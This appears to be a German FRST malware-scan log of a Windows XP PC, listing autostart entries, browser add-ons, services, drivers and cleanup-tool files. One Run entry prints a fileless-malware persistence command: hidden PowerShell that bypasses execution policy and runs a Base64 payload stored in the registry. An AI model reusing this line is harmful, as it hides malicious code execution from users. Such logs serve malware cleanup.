HKLM\...\Run: [A1Webassistent] => C:\Programme\A1\A1 Webassistent\A1Webassistent.exe [18977656 2012-02-08] (mquadr.at software engineering and consulting GmbH, web: www.mquadr.at, mail: office@mquadr.at)

HKLM\...\Run: [SoundMax] => C:\Programme\Analog Devices\SoundMAX\Smax4.exe [716800 2005-09-07] (Analog Devices, Inc.)

Winlogon\Notify\AtiExtEvent: 

HKLM\...\Policies\Explorer\Run: [1038853070] => C:\Dokumente und Einstellungen\All Users\msdgqhc.exe [72365312 2008-04-14] ()

HKLM\...\Policies\Explorer: [NoCDBurning] 0

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Run: [SpybotSD TeaTimer] => C:\Programme\Spybot - Search & Destroy\TeaTimer.exe [2260480 2009-03-05] (Safer-Networking Ltd.)

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Run: [MySQL Notifier] => C:\Programme\MySQL\MySQL Notifier 1.1\MySqlNotifier.exe [773120 2014-09-03] (Oracle Corporation)

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Run: [{A9480375-EB4E-4B08-9CBA-83931501F684}] => powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\WOzb').HITANTCUPSFK)));

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [SpecifyDefaultButtons] 2

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Back] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Forward] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Stop] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Refresh] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Home] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Search] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_History] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Favorites] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Media] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_MailNews] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Print] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Discussions] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Edit] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Folders] 2

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Fullscreen] 2

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Size] 2

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Cut] 2

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Copy] 2

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Paste] 2

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Encoding] 2

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Tools] 2

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [NoBandCustomize] 0

HKU\S-1-5-21-796845957-1960408961-682003330-1003\Control Panel\Desktop\\SCRNSAVE.EXE -> C:\WINDOWS\system32\sspipes.scr [610304 2008-04-14] (Microsoft Corporation)
 

==================== Internet (Nicht auf der Ausnahmeliste) ====================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Eintrag entfernt oder auf den Standardwert zurückgesetzt, wenn es sich um einen Registryeintrag handelt.)
 

Tcpip\Parameters: [DhcpNameServer] 10.0.0.138

Tcpip\..\Interfaces\{7480D7A3-EAEB-451B-AAF1-5683002F6013}: [DhcpNameServer] 10.0.0.138

ManualProxies: 
 

Internet Explorer:

==================

HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer: Beschränkung <======= ACHTUNG

HKU\S-1-5-21-796845957-1960408961-682003330-1003\SOFTWARE\Policies\Microsoft\Internet Explorer: Beschränkung <======= ACHTUNG

HKU\.DEFAULT\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.microsoft.com/isapi/redir.dll?prd=ie&ar=iesearch

HKU\.DEFAULT\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.microsoft.com/isapi/redir.dll?prd=ie&ar=msnhome

HKU\S-1-5-21-796845957-1960408961-682003330-1003\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://oe1.orf.at/

HKU\S-1-5-21-796845957-1960408961-682003330-1003\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.microsoft.com/isapi/redir.dll?prd=ie&ar=iesearch

HKU\S-1-5-21-796845957-1960408961-682003330-1003\Software\Microsoft\Internet Explorer\Main,SearchMigratedDefaultURL = hxxp://www.google.com/search?q={searchTerms}

SearchScopes: HKU\S-1-5-21-796845957-1960408961-682003330-1003 -> {3D41F773-C2A2-4541-8F58-DF94FA1311D3} URL = hxxp://search.yahoo.com/search?ei=utf-8&fr=chr-vmn&type=vmn3_0yach&q={searchTerms}

SearchScopes: HKU\S-1-5-21-796845957-1960408961-682003330-1003 -> {A5AC6D7F-502F-4A01-82E0-4A1A6D7B2EC2} URL = hxxp://www.google.de/search?q={searchTerms}

BHO: Adobe PDF Reader -> {06849E9F-C8D7-4D59-B87D-784B7D6BE0B3} -> C:\Programme\Gemeinsame Dateien\Adobe\Acrobat\ActiveX\AcroIEHelper.dll [2006-10-22] (Adobe Systems Incorporated)

BHO: Telenorhjelpen -> {2EF1BAF9-1988-42a1-82BC-5CB6197AED28} -> C:\Programme\Telenor Norway\Telenorhjelpen\BHO\IEBHO.dll [2010-12-17] (Telenor)

BHO: RealPlayer Download and Record Plugin for Internet Explorer -> {3049C3E9-B461-4BC5-8870-4C09146192CA} -> C:\Program Files\Real\RealPlayer\rpbrowserrecordplugin.dll [2009-04-10] (RealPlayer)

BHO: DivX Plus Web Player HTML5 <video> -> {326E768D-4182-46FD-9C16-1449A49795F4} -> C:\Programme\DivX\DivX Plus Web Player\ie\DivXHTML5\DivXHTML5.dll [2011-12-12] (DivX, LLC)

BHO: Spybot-S&D IE Protection -> {53707962-6F74-2D53-2644-206D7942484F} -> C:\Programme\Spybot - Search & Destroy\SDHelper.dll [2008-09-15] (Safer Networking Limited)

BHO: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Programme\Java\jre1.8.0_31\bin\ssv.dll [2016-03-25] (Oracle Corporation)

BHO: Ads Removal -> {9D974C8C-6D92-44FB-BEAF-B45A1C0CF17F} -> C:\Programme\IObit\IObit Malware Fighter\adsremoval\IE\Adblock.dll [2014-06-11] (Adblock)

BHO: Kein Name -> {BA0C978D-D909-49B6-AFE2-8BDE245DC7E6} -> Keine Datei

BHO: Kein Name -> {d5b8015d-68af-4b2c-9412-e349d82ab4a2} -> Keine Datei

BHO: Telenor Telenorhjelpen Plugin -> {DB87CDE1-EF9C-44EB-A42F-6D0B3C72C516} -> Keine Datei

BHO: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Programme\Java\jre1.8.0_31\bin\jp2ssv.dll [2016-03-25] (Oracle Corporation)

BHO: Kein Name -> {f379a94e-3c5d-4bad-b32c-0e3af1cc3617} -> Keine Datei

DPF: {166B1BCA-3F9C-11CF-8075-444553540000} hxxp://download.macromedia.com/pub/shockwave/cabs/director/sw.cab

DPF: {8AD9C840-044E-11D1-B3E9-00805F499D93} hxxp://java.sun.com/update/1.7.0/jinstall-1_7_0-windows-i586.cab

DPF: {8FFBE65D-2C9C-4669-84BD-5829DC0B603C} hxxp://fpdownload.macromedia.com/get/flashplayer/current/polarbear/ultrashim.cab

DPF: {CAFEEFAC-0017-0000-0000-ABCDEFFEDCBA} hxxp://java.sun.com/update/1.7.0/jinstall-1_7_0-windows-i586.cab

DPF: {CAFEEFAC-0017-0000-0007-ABCDEFFEDCBA} hxxp://java.sun.com/update/1.7.0/jinstall-1_7_0_07-windows-i586.cab

DPF: {CAFEEFAC-0017-0000-0051-ABCDEFFEDCBA} hxxp://java.sun.com/update/1.7.0/jinstall-1_7_0_51-windows-i586.cab

DPF: {CAFEEFAC-FFFF-FFFF-FFFF-ABCDEFFEDCBA} hxxp://java.sun.com/update/1.7.0/jinstall-1_7_0-windows-i586.cab

DPF: {D27CDB6E-AE6D-11CF-96B8-444553540000} hxxp://fpdownload2.macromedia.com/get/shockwave/cabs/flash/swflash.cab

Handler: cetihpz - {CF184AD3-CDCB-4168-A3F7-8E447D129300} - C:\Programme\HP\hpcoretech\comp\hpuiprot.dll [2004-05-12] (Hewlett-Packard Company)

Handler: http\0x00000001 - {E1D2BF42-A96B-11d1-9C6B-0000F875AC61} - C:\Programme\Gemeinsame Dateien\System\Ole DB\msdaipp.dll [2008-04-14] (Microsoft Corporation)

Handler: http\oledb - {E1D2BF40-A96B-11d1-9C6B-0000F875AC61} - C:\Programme\Gemeinsame Dateien\System\Ole DB\msdaipp.dll [2008-04-14] (Microsoft Corporation)

Handler: https\0x00000001 - {E1D2BF42-A96B-11d1-9C6B-0000F875AC61} - C:\Programme\Gemeinsame Dateien\System\Ole DB\msdaipp.dll [2008-04-14] (Microsoft Corporation)

Handler: https\oledb - {E1D2BF40-A96B-11d1-9C6B-0000F875AC61} - C:\Programme\Gemeinsame Dateien\System\Ole DB\msdaipp.dll [2008-04-14] (Microsoft Corporation)

Handler: ipp\0x00000001 - {E1D2BF42-A96B-11d1-9C6B-0000F875AC61} - C:\Programme\Gemeinsame Dateien\System\Ole DB\msdaipp.dll [2008-04-14] (Microsoft Corporation)

Handler: msdaipp\0x00000001 - {E1D2BF42-A96B-11d1-9C6B-0000F875AC61} - C:\Programme\Gemeinsame Dateien\System\Ole DB\msdaipp.dll [2008-04-14] (Microsoft Corporation)

Handler: msdaipp\oledb - {E1D2BF40-A96B-11d1-9C6B-0000F875AC61} - C:\Programme\Gemeinsame Dateien\System\Ole DB\msdaipp.dll [2008-04-14] (Microsoft Corporation)
 

FireFox:

========

FF ProfilePath: C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Mozilla\Firefox\Profiles\v80lvlpr.default

FF DefaultSearchEngine: Yahoo!

FF DefaultSearchUrl: hxxp://www.google.com/search?lr=&ie=UTF-8&oe=UTF-8&q=

FF Homepage: hxxp://at.search.yahoo.com/?type=800236&fr=spigot-yhp-ff

FF SelectedSearchEngine: Yahoo!

FF Plugin: @adobe.com/FlashPlayer -> C:\WINDOWS\system32\Macromed\Flash\NPSWF32_22_0_0_209.dll [2016-07-15] ()

FF Plugin: @adobe.com/ShockwavePlayer -> C:\WINDOWS\system32\Adobe\Director\np32dsw_1218158.dll [2015-05-07] (Adobe Systems, Inc.)

FF Plugin: @divx.com/DivX Browser Plugin,version=1.0.0 -> C:\Programme\DivX\DivX Plus Web Player\npdivx32.dll [2011-12-13] (DivX, LLC)

FF Plugin: @divx.com/DivX VOD Helper,version=1.0.0 -> C:\Programme\DivX\DivX OVS Helper\npovshelper.dll [2011-06-20] (DivX, LLC.)

FF Plugin: @ilok.com/iLokHelper,version=3.1.0.6 -> C:\Programme\PACE Anti-Piracy\iLok\NPPaceILok.dll [2009-04-24] ( PACE Anti-Piracy, Inc)

FF Plugin: @ilok.com/iLokHelper,version=3.1.0.7 -> C:\Programme\PACE Anti-Piracy\iLok\NPPaceILok.dll [2009-04-24] ( PACE Anti-Piracy, Inc)

FF Plugin: @java.com/DTPlugin,version=11.31.2 -> C:\Programme\Java\jre1.8.0_31\bin\dtplugin\npDeployJava1.dll [2016-03-25] (Oracle Corporation)

FF Plugin: @java.com/JavaPlugin,version=11.31.2 -> C:\Programme\Java\jre1.8.0_31\bin\plugin2\npjp2.dll [2016-03-25] (Oracle Corporation)

FF Plugin: @microsoft.com/WPF,version=3.5 -> C:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\NPWPF.dll [2008-07-30] (Microsoft Corporation)

FF Plugin: @real.com/nppl3260;version=6.0.12.69 -> C:\Program Files\Real\RealPlayer\Netscape6\nppl3260.dll [2009-04-10] (RealNetworks, Inc.)

FF Plugin: @real.com/nprjplug;version=1.0.3.69 -> C:\Program Files\Real\RealPlayer\Netscape6\nprjplug.dll [2009-04-10] (RealNetworks, Inc.)

FF Plugin: @real.com/nprpjplug;version=6.0.12.69 -> C:\Program Files\Real\RealPlayer\Netscape6\nprpjplug.dll [2009-04-10] (RealNetworks, Inc.)

FF Plugin: @tools.google.com/Google Update;version=3 -> C:\Programme\Google\Update\1.3.31.5\npGoogleUpdate3.dll [2016-07-29] (Google Inc.)

FF Plugin: @tools.google.com/Google Update;version=9 -> C:\Programme\Google\Update\1.3.31.5\npGoogleUpdate3.dll [2016-07-29] (Google Inc.)

FF Plugin HKU\S-1-5-21-796845957-1960408961-682003330-1003: @citrixonline.com/appdetectorplugin -> C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Citrix\Plugins\104\npappdetector.dll [2015-10-12] (Citrix Online)

FF Plugin ProgramFiles/Appdata: C:\Programme\mozilla firefox\plugins\npqtplugin.dll [2012-08-29] (Apple Inc.)

FF Plugin ProgramFiles/Appdata: C:\Programme\mozilla firefox\plugins\npqtplugin2.dll [2012-08-29] (Apple Inc.)

FF Plugin ProgramFiles/Appdata: C:\Programme\mozilla firefox\plugins\npqtplugin3.dll [2012-08-29] (Apple Inc.)

FF Plugin ProgramFiles/Appdata: C:\Programme\mozilla firefox\plugins\npqtplugin4.dll [2012-08-29] (Apple Inc.)

FF Plugin ProgramFiles/Appdata: C:\Programme\mozilla firefox\plugins\npqtplugin5.dll [2012-08-29] (Apple Inc.)

FF Plugin ProgramFiles/Appdata: C:\Programme\mozilla firefox\plugins\npqtplugin6.dll [2012-08-29] (Apple Inc.)

FF Plugin ProgramFiles/Appdata: C:\Programme\mozilla firefox\plugins\npqtplugin7.dll [2012-08-29] (Apple Inc.)

FF Plugin ProgramFiles/Appdata: C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\mozilla\plugins\np-mswmp.dll [2009-09-25] (Microsoft Corporation)

FF Extension: Java Console - C:\Programme\Mozilla Firefox\extensions\{CAFEEFAC-0017-0000-0000-ABCDEFFEDCBA} [2014-06-21] [ist nicht signiert]

FF Extension: Connection Centre Extension - C:\Programme\Telenor Norway\Telenorhjelpen\BHO\Firefox [2014-08-11] [ist nicht signiert]

FF Extension: Kein Name - C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Mozilla\Firefox\Profiles\v80lvlpr.default\extensions\iobitascsurfingprotection@iobit.com [nicht gefunden]

FF Extension: Microsoft .NET Framework Assistant - C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Mozilla\Firefox\Profiles\v80lvlpr.default\Extensions\{20a82645-c095-46ed-80e3-08825760534b}(2) [2012-09-13] [ist nicht signiert]

FF Extension: Start Page - C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Mozilla\Firefox\Profiles\v80lvlpr.default\Extensions\{58d2a791-6199-482f-a9aa-9b725ec61362} [2014-03-30] [ist nicht signiert]

FF Extension: VMN Toolbar - C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Mozilla\Firefox\Profiles\v80lvlpr.default\Extensions\{98f782cf-9b6b-41ca-909b-b4fdc0bbc23a} [2011-08-22] [ist nicht signiert]

FF Extension: JavaScript Options - C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Mozilla\Firefox\Profiles\v80lvlpr.default\Extensions\{cdbbb3f6-a50e-4b20-a154-5fcbb3bbf43d} [2009-05-31] [ist nicht signiert]

FF Extension: Mozilla Firefox distributed by RealNetworks - C:\Programme\Mozilla Firefox\extensions\realplayer@partners.mozilla.com [2009-01-22] [ist nicht signiert]

FF Extension: Controller - C:\Programme\Mozilla Firefox\extensions\{B0BBFC8E-6697-4D2B-8FC4-B5AD9B3B1F11} [2016-05-20] [ist nicht signiert]

FF HKLM\...\Firefox\Extensions: [{ABDE892B-13A8-4d1b-88E6-365A6E755758}] - C:\Program Files\Real\RealPlayer\browserrecord

FF Extension: RealPlayer Browser Record Plugin - C:\Program Files\Real\RealPlayer\browserrecord [2009-04-10] [ist nicht signiert]

FF HKLM\...\Firefox\Extensions: [{20a82645-c095-46ed-80e3-08825760534b}] - C:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\DotNetAssistantExtension

FF Extension: Microsoft .NET Framework Assistant - C:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\DotNetAssistantExtension [2010-03-02] [ist nicht signiert]

FF HKLM\...\Firefox\Extensions: [{23fcfd51-4958-4f00-80a3-ae97e717ed8b}] - C:\Programme\DivX\DivX Plus Web Player\firefox\DivXHTML5

FF Extension: DivX Plus Web Player HTML5 &video& - C:\Programme\DivX\DivX Plus Web Player\firefox\DivXHTML5 [2012-09-16] [ist nicht signiert]

FF HKLM\...\Firefox\Extensions: [{8D03DB51-DA47-46a9-8F14-53ABE84263F5}] - C:\Programme\Telenor Norway\Telenorhjelpen\BHO\Firefox

FF ExtraCheck: C:\Programme\mozilla firefox\defaults\pref\firefox-branding.js [2009-01-20]

FF ExtraCheck: C:\Programme\mozilla firefox\defaults\pref\firefox-l10n.js [2009-01-20]

FF ExtraCheck: C:\Programme\mozilla firefox\defaults\pref\firefox.js [2009-01-20]

FF ExtraCheck: C:\Programme\mozilla firefox\defaults\pref\reporter.js [2009-01-20]
 

Chrome: 

=======

CHR HomePage: Default -> hxxp://www.google.com/

CHR StartupUrls: Default -> "hxxp://www.google.com/"

CHR DefaultSearchURL: Default -> hxxp://www.search.ask.com/web?p2=%5EAKE%5EOSJ000%5EYY%5EAT&gct=&o=APN10452&tpid=ORJ-V7&itbv=12.6.0.11&doi=2013-10-30&apn_uid=84D7EA17-D885-40D4-B0F9-731F3AB927BA&apn_ptnrs=AKE&apn_dtid=%5EOSJ000%5EYY%5EAT&apn_dbr=cr_30.0.1599.101&psv=&trgb=CR&q={searchTerms}

CHR DefaultSearchKeyword: Default -> ask search

CHR DefaultSuggestURL: Default -> hxxp://ss.websearch.ask.com/query?qsrc={qsrc}&li=ff&sstype=prefix&q={searchTerms}

CHR Session Restore: Default -> ist aktiviert.

CHR Profile: C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default

CHR Extension: (Google Docs) - C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake [2015-02-06]

CHR Extension: (Google Drive) - C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2015-10-21]

CHR Extension: (YouTube) - C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2015-09-29]

CHR Extension: (Adblock für Youtube™) - C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\cmedhionkhpnakcndndgjdbohmhepckk [2016-03-04]

CHR Extension: (Google-Suche) - C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf [2015-11-27]

CHR Extension: (Google Docs Offline) - C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2016-03-16]

CHR Extension: (Chrome Web Store-Zahlungen) - C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2016-04-02]

CHR Extension: (Mehr Leistung und Videoformate für dein HTML5 <video>) - C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\nneajnkjbffgblleaoojgaacokifdkhm [2013-07-25]

CHR Extension: (Google Mail) - C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2015-04-10]

CHR HKLM\...\Chrome\Extension: [nneajnkjbffgblleaoojgaacokifdkhm] - C:\Programme\DivX\DivX Plus Web Player\chrome\DivXHTML5\DivXHTML5.crx [2011-12-12]
 

==================== Dienste (Nicht auf der Ausnahmeliste) ========================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 

S3 Adobe LM Service; C:\Programme\Gemeinsame Dateien\Adobe Systems Shared\Service\Adobelmsvc.exe [72704 2013-12-17] (Adobe Systems) [Datei ist nicht signiert]

S4 Adobe Version Cue CS2; c:\Programme\Adobe\Adobe Version Cue CS2\bin\VersionCueCS2.exe [163840 2005-04-06] (Adobe Systems Incorporated) [Datei ist nicht signiert]

S4 ESUSClient_TNO; C:\Programme\Telenor Norway\ESUS_TNO\ESUS_TNO.exe [358808 2010-12-17] (Telenor Norway)

S4 gupdate; C:\Programme\Google\Update\GoogleUpdate.exe [144200 2015-08-27] (Google Inc.)

S4 gupdatem; C:\Programme\Google\Update\GoogleUpdate.exe [144200 2015-08-27] (Google Inc.)

S3 IDriverT; C:\Programme\Gemeinsame Dateien\InstallShield\Driver\1150\Intel 32\IDriverT.exe [69632 2005-11-14] (Macrovision Corporation) [Datei ist nicht signiert]

R2 IMFservice; C:\Programme\IObit\IObit Malware Fighter\IMFsrv.exe [344864 2015-01-13] (IObit)

R2 JavaQuickStarterService; C:\Programme\Java\jre7\bin\jqs.exe [161664 2014-06-21] (Oracle Corporation)

R2 LightScribeService; C:\Programme\Gemeinsame Dateien\LightScribe\LSSrvc.exe [73728 2006-04-24] (Hewlett-Packard Company) [Datei ist nicht signiert]

S4 LiveUpdateSvc; C:\Programme\IObit\LiveUpdate\LiveUpdate.exe [2909472 2015-08-17] (IObit)

S4 MSCSPTISRV; C:\Programme\Gemeinsame Dateien\Sony Shared\AVLib\MSCSPTISRV.exe [45056 2006-12-14] (Sony Corporation) [Datei ist nicht signiert]

S4 MySQL56; C:\Programme\MySQL\MySQL Server 5.6\bin\mysqld.exe [11048960 2015-05-05] () [Datei ist nicht signiert]

S4 nlsX86cc; C:\WINDOWS\system32\nlssrv32.exe [63488 2010-03-11] (Nalpeiron Ltd.) [Datei ist nicht signiert]

S3 ose; C:\Programme\Gemeinsame Dateien\Microsoft Shared\Source Engine\OSE.EXE [89136 2003-07-28] (Microsoft Corporation)

R2 PaceLicenseDServices; C:\Programme\Gemeinsame Dateien\PACE\Services\LicenseServices\LDSvc.exe [2784768 2011-03-25] (PACE Anti-Piracy, Inc.) [Datei ist nicht signiert]

S3 PACSPTISVR; C:\Programme\Gemeinsame Dateien\Sony Shared\AVLib\PACSPTISVR.exe [57344 2006-12-14] () [Datei ist nicht signiert]

R2 SentinelProtectionServer; C:\Programme\Gemeinsame Dateien\SafeNet Sentinel\Sentinel Protection Server\WinNT\spnsrvnt.exe [206400 2006-05-07] (SafeNet, Inc)

S4 SonicStage Back-End Service; C:\Programme\Gemeinsame Dateien\Sony Shared\AVLib\SsBeSvc.exe [112184 2007-02-05] (Sony Corporation)

S3 SPTISRV; C:\Programme\Gemeinsame Dateien\Sony Shared\AVLib\SPTISRV.exe [69632 2006-12-14] (Sony Corporation) [Datei ist nicht signiert]

S4 SSScsiSV; C:\Programme\Gemeinsame Dateien\Sony Shared\AVLib\SSScsiSV.exe [75320 2007-02-05] (Sony Corporation)

S4 TelenorhjelpenSvc; C:\Programme\Telenor Norway\Telenorhjelpen\Service.exe [463240 2011-02-15] ()

S4 Apple Mobile Device; "C:\Programme\Gemeinsame Dateien\Apple\Mobile Device Support\AppleMobileDeviceService.exe" [X]

S4 Iomega Activity Disk2; "" [X]
 

===================== Treiber (Nicht auf der Ausnahmeliste) ==========================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 

R3 AEAudioService; C:\WINDOWS\System32\drivers\AEAudio.sys [127872 2005-03-04] (Andrea Electronics Corporation)

R2 AegisP; C:\WINDOWS\System32\DRIVERS\AegisP.sys [17801 2016-01-12] (Meetinghouse Data Communications) [Datei ist nicht signiert]

R1 AFS2K; C:\WINDOWS\system32\Drivers\AFS2K.sys [43488 2007-01-09] (Oak Technology Inc.)

R3 ASAPIW2K; C:\WINDOWS\System32\Drivers\ASAPIW2K.sys [11264 2003-11-28] (Pinnacle Systems GmbH) [Datei ist nicht signiert]

R1 ElbyCDIO; C:\WINDOWS\System32\Drivers\ElbyCDIO.sys [30616 2014-12-21] (Elaborate Bytes AG)

S4 FileMonitor; C:\Programme\IObit\IObit Malware Fighter\Drivers\wxp_x86\FileMonitor.sys [247968 2014-11-10] (IObit)

S3 fireface; C:\WINDOWS\System32\drivers\fireface.sys [83968 2016-03-08] (RME) [Datei ist nicht signiert]

R2 Haspnt; C:\WINDOWS\system32\drivers\haspnt.sys [36352 2007-11-23] () [Datei ist nicht signiert]

S3 HdAudAddService; C:\WINDOWS\System32\drivers\HdAudio.sys [145920 2004-10-27] (Windows (R) Server 2003 DDK provider)

R3 HPZid412; C:\WINDOWS\System32\DRIVERS\HPZid412.sys [51056 2003-08-11] (HP)

R3 HPZipr12; C:\WINDOWS\System32\DRIVERS\HPZipr12.sys [16496 2003-08-11] (HP)

R3 HPZius12; C:\WINDOWS\System32\DRIVERS\HPZius12.sys [21488 2003-08-11] (HP)

S3 iLokDrvr; C:\WINDOWS\System32\DRIVERS\iLokDrvr.sys [21112 2011-04-24] ()

R3 L8042PR2; C:\WINDOWS\System32\Drivers\l8042pr2.sys [53870 2003-06-30] (Logitech, Inc.)

R3 motubus; C:\WINDOWS\System32\drivers\MotuBus.sys [22024 2007-01-04] (Mark of the Unicorn)

R3 MTsensor; C:\WINDOWS\System32\DRIVERS\ASACPI.sys [5810 2004-08-13] ()

S3 NETMDUSB; C:\WINDOWS\System32\Drivers\NETMD033.sys [36232 2003-11-10] (Sony Corporation)

R3 NVHDA; C:\WINDOWS\System32\drivers\nvhda32.sys [124264 2013-02-18] (NVIDIA Corporation)

R3 SenFiltService; C:\WINDOWS\System32\drivers\Senfilt.sys [393088 2005-08-11] (Sensaura)

S3 SynasUSB; C:\WINDOWS\System32\drivers\SynasUSB.sys [23696 2009-06-26] (Steinberg Media Technologies GmbH)

R0 TPkd; C:\WINDOWS\system32\Drivers\TPkd.sys [93304 2011-03-24] (PACE Anti-Piracy, Inc.)

S3 AR5416; system32\DRIVERS\athw.sys [X]

S3 catchme; \??\C:\ComboFix\catchme.sys [X]

S3 hwdatacard; system32\DRIVERS\ewusbmdm.sys [X]

S4 IntelIde; kein ImagePath

S3 MotuMidi; system32\drivers\MotuMidi.sys [X]

S3 MotuUsb; System32\Drivers\MotuUsb.sys [X]

U5 ScsiPort; C:\WINDOWS\system32\drivers\scsiport.sys [96384 2008-04-14] (Microsoft Corporation)
 

==================== NetSvcs (Nicht auf der Ausnahmeliste) ===================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 
 

==================== Ein Monat: Erstellte Dateien und Ordner ========
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)
 

2016-08-16 17:41 - 2016-08-17 11:53 - 00000000 ____D C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\temp

2016-08-16 17:41 - 2016-08-16 17:41 - 00015153 _____ C:\ComboFix.txt

2016-08-16 17:41 - 2016-08-16 17:41 - 00000000 ____D C:\Dokumente und Einstellungen\NetworkService\Lokale Einstellungen\temp

2016-08-16 17:41 - 2016-08-16 17:41 - 00000000 ____D C:\Dokumente und Einstellungen\LocalService\Lokale Einstellungen\temp

2016-08-16 17:41 - 2016-08-16 17:41 - 00000000 ____D C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\temp

2016-08-16 17:19 - 2016-08-16 17:41 - 00000000 ____D C:\Qoobox

2016-08-16 17:19 - 2016-08-16 17:40 - 00000000 ____D C:\WINDOWS\erdnt

2016-08-16 17:19 - 2011-06-26 08:45 - 00256000 _____ C:\WINDOWS\PEV.exe

2016-08-16 17:19 - 2010-11-07 19:20 - 00208896 _____ C:\WINDOWS\MBR.exe

2016-08-16 17:19 - 2009-04-20 06:56 - 00060416 _____ (NirSoft) C:\WINDOWS\NIRCMD.exe

2016-08-16 17:19 - 2000-08-31 02:00 - 00518144 _____ (SteelWerX) C:\WINDOWS\SWREG.exe

2016-08-16 17:19 - 2000-08-31 02:00 - 00406528 _____ (SteelWerX) C:\WINDOWS\SWSC.exe

2016-08-16 17:19 - 2000-08-31 02:00 - 00212480 _____ (SteelWerX) C:\WINDOWS\SWXCACLS.exe

